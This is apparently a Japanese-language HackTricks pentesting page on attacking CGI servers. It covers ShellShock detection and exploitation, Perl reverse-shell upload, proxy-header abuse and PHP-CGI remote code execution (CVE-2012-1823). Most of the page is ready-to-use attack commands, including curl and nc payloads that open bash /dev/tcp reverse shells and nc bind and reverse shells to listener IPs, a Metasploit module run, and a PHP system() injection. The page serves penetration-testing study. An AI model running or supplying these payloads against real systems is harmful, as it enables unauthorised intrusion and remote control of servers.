tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
情報
CGIスクリプトはperlスクリプトです。したがって、_.cgi_スクリプトを実行できるサーバーを侵害した場合、perlリバースシェル (/usr/share/webshells/perl/perl-reverse-shell.pl
) をアップロードし、拡張子を**.plから.cgiに変更し、実行権限 (chmod +x
) を与え、ウェブブラウザからリバースシェルにアクセス**して実行できます。
CGI脆弱性をテストするには、nikto -C all
(およびすべてのプラグイン) を使用することをお勧めします。
ShellShock
ShellShockは、Unixベースのオペレーティングシステムで広く使用されているBashコマンドラインシェルに影響を与える脆弱性です。これは、アプリケーションによって渡されたコマンドを実行するBashの能力をターゲットにしています。脆弱性は、環境変数の操作にあります。環境変数は、コンピュータ上でプロセスがどのように実行されるかに影響を与える動的な名前付き値です。攻撃者は、環境変数に悪意のあるコードを添付することでこれを悪用し、変数を受け取ると実行されます。これにより、攻撃者はシステムを侵害する可能性があります。
この脆弱性を悪用すると、ページがエラーを返す可能性があります。
この脆弱性を見つけるには、古いApacheバージョンとcgi_mod (cgiフォルダー付き) を使用していることに気づくか、niktoを使用します。
テスト
ほとんどのテストは、何かをエコーし、その文字列がウェブレスポンスに返されることを期待することに基づいています。ページが脆弱である可能性があると思われる場合は、すべてのcgiページを検索してテストしてください。
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (リフレクティッド、ブラインド、アウトオブバンド)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
エクスプロイト
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
プロキシ (MitMからWebサーバーリクエストへ)
CGIは、httpリクエストの各ヘッダーに対して環境変数を作成します。例えば:「host:web.com」は「HTTP_HOST」="web.com"として作成されます。
HTTP_PROXY変数はWebサーバーによって使用される可能性があります。ヘッダーに「Proxy: <IP_attacker>:<PORT>」を含めて送信してみてください。そして、サーバーがセッション中にリクエストを実行する場合、サーバーによって行われた各リクエストをキャプチャすることができます。
古いPHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
基本的に、cgiがアクティブで、phpが「古い」(<5.3.12 / < 5.4.2)場合、コードを実行できます。
この脆弱性を悪用するには、パラメータを送信せずに(特に「=」文字を送信せずに)WebサーバーのいくつかのPHPファイルにアクセスする必要があります。
次に、この脆弱性をテストするために、例えば/index.php?-s
にアクセスすると( -s
に注意)、アプリケーションのソースコードがレスポンスに表示されます。
次に、RCEを取得するために、この特別なクエリを送信できます:/?-d allow_url_include=1 -d auto_prepend_file=php://input
とリクエストのボディ内で実行されるPHPコード。
例:**
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
脆弱性と可能なエクスプロイトに関する詳細: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。